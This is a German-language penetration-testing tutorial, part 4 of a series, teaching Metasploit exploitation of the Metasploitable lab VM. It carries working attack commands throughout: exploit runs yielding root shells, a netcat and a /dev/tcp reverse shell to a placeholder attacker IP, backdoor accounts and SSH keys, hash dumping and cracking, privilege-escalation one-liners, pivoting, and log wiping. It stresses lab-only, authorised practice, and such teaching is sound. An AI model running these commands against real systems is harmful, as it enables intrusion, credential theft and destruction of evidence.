Der Weg des Hackers: Eine 5-teilige Serie
Teil 1: Einführung → Teil 2: Flipper-Meisterschaft → Teil 3: Kali Grundlagen → Teil 4: Exploitation → Teil 5: Das vollständige Audit
In den Teilen 1-3 hast du dein Toolkit aufgebaut. Du kannst Badges klonen, Netzwerke kartieren, Handshakes abfangen und jeden Dienst identifizieren, der auf einem Ziel läuft. Du siehst jetzt überall Schwachstellen. Aber eine Schwachstelle zu sehen und sie auszunutzen sind sehr unterschiedliche Fähigkeiten.
Hier wird es ernst. Heute lernst du das Metasploit Framework kennen, dasselbe Tool, das professionelle Penetrationstester weltweit einsetzen. Du wirst deine erste Schwachstelle ausnutzen, Persistenz etablieren, Privilegien eskalieren und lernen, durch ein Netzwerk zu pivotieren.
Die Linie, die du nicht überschreiten darfst
Alles in diesem Artikel muss auf Systemen geübt werden, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung hast. Unbefugter Zugriff auf Computersysteme ist ein Bundesverbrechen mit Strafen von bis zu 20 Jahren Gefängnis. "Ich habe nur gelernt" ist keine Verteidigung. Baue ein Lab auf, nutze absichtlich verwundbare VMs und fasse niemals Systeme an, die dir nicht gehören.
Teil 1: Dein Angriffs-Lab aufbauen
Bevor du irgendetwas exploitest, brauchst du Ziele. Echte Penetrationstester nutzen isolierte Lab-Umgebungen mit absichtlich verwundbaren Maschinen. Das wirst du auch tun.
Das grundlegende Lab-Setup
Was du brauchst
- Kali Linux VM - Deine Angriffsmaschine (aus Teil 3)
- Metasploitable 2 - Absichtlich verwundbare Linux VM (SourceForge)
- Metasploitable 3 - Verwundbare Windows/Linux VM (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - CTF-artige verwundbare Maschinen (vulnhub.com)
Projekt: Lab-Netzwerk einrichten
Zeit: 45 Minuten
- Lade Metasploitable 2 von SourceForge herunter
- Importiere in VirtualBox/VMware
- Netzwerk konfigurieren: Setze Kali und Metasploitable auf "Host-Only" oder "Internal Network"
- Starte Metasploitable (Standard-Login:
msfadmin/msfadmin) - Notiere die IP-Adresse:
ifconfig - Von Kali aus, prüfe Konnektivität:
ping METASPLOITABLE_IP - Führe einen ersten Scan durch:
sudo nmap -sV -sC METASPLOITABLE_IP
Überprüfung: Du solltest Dutzende offene Ports sehen. Metasploitable ist dafür konzipiert, kompromittiert zu werden.
Dein nmap-Scan von Metasploitable sollte Dienste wie FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL und mehr zeigen, viele davon mit veralteten, verwundbaren Versionen. Das ist dein Spielplatz.
Teil 2: Metasploit Framework Grundlagen
Metasploit ist nicht nur ein Tool. Es ist ein Ökosystem. Es enthält Tausende von Exploits, Payloads, Hilfsmodulen und Post-Exploitation-Tools. Seine Struktur zu verstehen ist essenziell.
Metasploit starten
bash# Initialize the database (first time only)
sudo msfdb init
# Start Metasploit console
msfconsole
# You'll see the Metasploit banner and prompt:
msf6 >Die Metasploit-Struktur
Metasploit organisiert alles in Module:
- Exploits - Code, der Schwachstellen ausnutzt
- Payloads - Code, der nach der Exploitation ausgeführt wird (Shells, Meterpreter)
- Auxiliary - Scanner, Fuzzer und andere Hilfsprogramme
- Post - Post-Exploitation-Module für Persistenz, Pivoting
- Encoders - Verschleiern Payloads, um Erkennung zu umgehen
bash# Search for modules
msf6 > search type:exploit platform:linux smb
# Search by CVE
msf6 > search cve:2017-0144
# Search by name
msf6 > search vsftpd
# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorDer Exploitation-Workflow
Jede Metasploit-Exploitation folgt demselben Muster:
- Exploit auswählen -
use exploit/path/to/module - Optionen setzen - Ziel-IP, Ports, Zugangsdaten
- Payload auswählen - Was nach der Exploitation läuft
- Ausführen -
exploitoderrun
Teil 3: Dein erster Exploit
Lass uns eine der berühmtesten Backdoors der Geschichte exploiten: die vsftpd 2.3.4 Backdoor. 2011 hat jemand eine Hintertür in den vsftpd-Quellcode eingefügt. Wenn du einen Benutzernamen sendest, der mit :) endet, öffnet sich eine Shell auf Port 6200.
Metasploitable 2 führt genau diese Version aus.
bash# Start Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101
# Run the exploit
msf6 exploit(...) > exploit
# If successful:
[*] Command shell session 1 opened
[+] Got shell!
# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)Das war's. Ein verwundbarer Dienst, ein Exploit, Root-Zugriff. Deshalb ist es wichtig, Software aktuell zu halten.
Projekt: vsftpd Backdoor exploiten
Zeit: 15 Minuten
Voraussetzungen: Metasploitable 2 läuft, Kali im selben Netzwerk
- Überprüfe, dass FTP läuft:
nmap -sV -p 21 TARGET_IP - Starte msfconsole
- Suche, wähle und konfiguriere den vsftpd-Exploit
- Führe den Exploit aus
- Sobald du eine Shell hast, erkunde:
cat /etc/shadow
Erfolgskriterium: Du kannst /etc/shadow lesen, worauf nur Root zugreifen kann.
Teil 4: Payloads verstehen
Ein Payload ist das, was nach dem erfolgreichen Exploit ausgeführt wird. Die einfache Shell, die wir oben bekommen haben, ist simpel, aber Metasploit bietet viel mächtigere Optionen.
Payload-Typen
- Singles - Eigenständige Einmal-Payloads (Benutzer hinzufügen, Befehl ausführen)
- Stagers - Kleine Payloads, die eine Verbindung aufbauen und dann den Haupt-Payload herunterladen
- Stages - Der Haupt-Payload, der vom Stager heruntergeladen wird (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads
# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcpReverse vs Bind Shells
- Reverse Shell - Das Ziel verbindet sich zurück zu dir. Besser zum Umgehen von Firewalls (ausgehender Verkehr ist normalerweise erlaubt).
- Bind Shell - Das Ziel öffnet einen Port, damit du dich verbinden kannst. Leichter zu erkennen, oft von Firewalls blockiert.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444
# Metasploit starts a listener automatically when you exploitMeterpreter: Der ultimative Payload
Meterpreter ist Metasploits mächtigster Payload. Er läuft komplett im Speicher (keine Dateien auf der Festplatte), bietet verschlüsselte Kommunikation und enthält Dutzende eingebauter Befehle für Post-Exploitation.
bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > download file # Download file to Kali
meterpreter > upload file # Upload file to target
meterpreter > shell # Drop to system shell
meterpreter > hashdump # Dump password hashes
meterpreter > screenshot # Take screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keystrokes
meterpreter > background # Background this sessionTeil 5: Weitere Exploitation-Techniken
Samba (SMB) exploiten
Metasploitable 2 führt eine verwundbare Version von Samba aus. Das ist ähnlich wie der berüchtigte EternalBlue-Exploit, der bei WannaCry verwendet wurde.
bash# Search for Samba exploits
msf6 > search type:exploit samba
# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit
[*] Command shell session 2 openedSchwache Zugangsdaten ausnutzen
Nicht jeder Kompromiss erfordert eine Software-Schwachstelle. Schwache Passwörter sind überall.
bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run
# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Webanwendungs-Exploitation
Metasploitable enthält mehrere verwundbare Webanwendungen. Lass uns eine PHP-Code-Injection exploiten.
bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)
# Use Metasploit's web exploits
msf6 > search type:exploit php
# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444Projekt: Drei verschiedene Dienste exploiten
Zeit: 60 Minuten
Ziel: Metasploitable 2
- Exploite die vsftpd-Backdoor (FTP - Port 21) und erhalte eine Root-Shell
- Exploite Samba usermap_script (SMB - Port 139/445) und erhalte eine Root-Shell
- Knacke SSH-Zugangsdaten (Port 22) mit auxiliary/scanner/ssh/ssh_login
- Dokumentiere jede Exploitation: verwendetes Modul, gesetzte Optionen, Ergebnis
Bonus: Erkunde die Webanwendungen auf Port 80 und finde manuelle Exploitation-Vektoren.
Teil 6: Post-Exploitation
Eine Shell zu bekommen ist nur der Anfang. Echte Penetrationstests erfordern, zu demonstrieren, was ein Angreifer mit diesem Zugriff tun könnte. Das ist Post-Exploitation.
Informationssammlung
text# From a Meterpreter session
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux
# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arpbash# From a regular shell
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (requires root)
cat /etc/hosts # Network mappings
netstat -tulpn # Open ports
ps aux # Running processes
crontab -l # Scheduled tasksZugangsdaten ernten
text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bashbash# Or from shell
cat /etc/shadow
# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtPersistenz etablieren
Persistenz bedeutet, den Zugriff auch nach Neustarts oder wenn dein ursprünglicher Exploit-Vektor gepatcht wird beizubehalten.
bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker
# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistenz = Beweise
Jeder Persistenzmechanismus hinterlässt Spuren. Bei einem echten Penetrationstest dokumentierst du, was du tun könntest, und räumst dann auf. Backdoors auf Kundensystemen zu hinterlassen ist unprofessionell und potenziell illegal. In deinem Lab, geh auf Nummer sicher, aber verstehe die Auswirkungen.
Teil 7: Privilegieneskalation
Oft erhältst du initialen Zugriff als Benutzer mit wenigen Rechten. Die Eskalation zu root/admin ist normalerweise erforderlich, um Testziele zu erreichen.
Linux Privilegieneskalation
bash# Current user context
id
whoami
# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Sudo permissions
sudo -l
# Kernel version (for kernel exploits)
uname -a
# Running processes as root
ps aux | grep root
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*Automatisierte Enumerations-Skripte
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000
# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitableHäufige Linux Privesc-Vektoren
bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell
# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;
# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shellWindows Privilegieneskalation
Wenn du Windows-Ziele testest (Metasploitable 3), unterscheiden sich die Techniken:
text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user
meterpreter > getsystem
[+] ...got SYSTEM
# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester
# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploitProjekt: Vom Benutzer zu Root eskalieren
Zeit: 45 Minuten
Szenario: Du hast SSH-Zugriff auf Metasploitable als msfadmin (nicht root)
- SSH zu Metasploitable:
ssh msfadmin@TARGET - Führe
idaus, um zu bestätigen, dass du nicht root bist - Prüfe Sudo-Berechtigungen:
sudo -l - Suche nach SUID-Binaries:
find / -perm -4000 2>/dev/null - Lade LinPEAS hoch und führe es aus
- Identifiziere einen Privesc-Vektor und nutze ihn aus
Ziel: Erhalte eine Root-Shell, ohne einen Netzwerkdienst zu exploiten.
Teil 8: Pivoting
Pivoting bedeutet, ein kompromittiertes System zu nutzen, um andere Systeme anzugreifen, die von deiner Angriffsmaschine nicht direkt erreichbar sind. So bewegen sich Angreifer lateral durch Netzwerke.
Das Pivot-Szenario
Stell dir dieses Netzwerk vor:
- Dein Kali: 192.168.1.100
- Kompromittierter Host: 192.168.1.50 (auch verbunden mit dem internen Netzwerk 10.0.0.0/24)
- Ziel: 10.0.0.10 (nur erreichbar von 192.168.1.50)
Du kannst 10.0.0.10 nicht direkt erreichen. Aber über den kompromittierten Host schon.
Metasploit Routing
text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50
meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1
meterpreter > background
# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print
# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run
# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploitSOCKS Proxy für vollen Zugriff
bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run
# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080
# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]SSH-Tunneling (Ohne Metasploit)
bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host
# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80
# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444Teil 9: Spuren verwischen
Professionelle Penetrationstester dokumentieren ihren Zugriff, räumen aber hinter sich auf. Zu verstehen, wie Angreifer ihre Spuren verwischen, hilft dir auch, Einbrüche zu erkennen.
bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log
# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file
# Meterpreter
meterpreter > clearev # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"Im echten Einsatz: Tu das nicht
Professionelle Pentester dokumentieren ihren Zugriff und berichten ihre Ergebnisse. Sie verstecken sie nicht. Logs zu löschen zerstört Beweise, die Verteidiger brauchen, um den Angriffspfad zu verstehen. Übe diese Techniken nur in deiner isolierten Lab-Umgebung.
Der Weg des Hackers
Eine 5-teilige Serie, die dich von neugierig zu fähig bringt.
Teil 1: Einführung Teil 2: Flipper-Meisterschaft Teil 3: Kali Grundlagen Teil 4: Exploitation ✓ Teil 5: Vollständiges Audit
Teil 4 Checkliste
☐ Lab-Setup: Metasploitable 2 läuft, isoliertes Netzwerk konfiguriert
☐ Metasploit: Datenbank initialisiert, grundlegende Navigation gemeistert
☐ Erster Exploit: vsftpd-Backdoor exploited, Root-Shell erhalten
☐ Mehrere Vektoren: FTP, SMB exploited und SSH-Zugangsdaten geknackt
☐ Post-Exploitation: Passwort-Hashes gedumpt, System enumeriert
☐ Privilegieneskalation: Vom Benutzer zu Root eskaliert ohne Netzwerk-Exploit
☐ Pivoting: Autoroute und SOCKS-Proxy-Konzepte verstanden
☐ Dokumentation: Alle Exploits mit Schritten und Beweisen dokumentiert
Was kommt als Nächstes
Du hast gelernt, Schwachstellen auszunutzen, Privilegien zu eskalieren und durch Netzwerke zu pivotieren. Du hast gesehen, wie schnell eine einzige Schwäche zum totalen Kompromiss wird. Du verstehst, was professionelle Penetrationstester tun.
In Teil 5 bringen wir alles zusammen. Du wirst ein komplettes Sicherheitsaudit von Anfang bis Ende durchführen:
- Scoping und Einsatzregeln
- Vollständige Reconnaissance-Methodik
- Systematische Exploitation
- Umfassende Post-Exploitation
- Professioneller Bericht
- Empfehlungen zur Behebung
Teil 5 ist das Abschlussprojekt. Alles, was du in dieser Serie gelernt hast, kommt zusammen in einer praxisnahen Methodik, die du nutzen kannst, um die Sicherheit jedes Netzwerks zu bewerten, für das du autorisiert bist.
Du hast die Techniken gelernt. Jetzt lernst du die Methodik. Teil 5 verwandelt Fähigkeiten in einen vollständigen Penetrationstest-Workflow.
Wir sehen uns in Teil 5.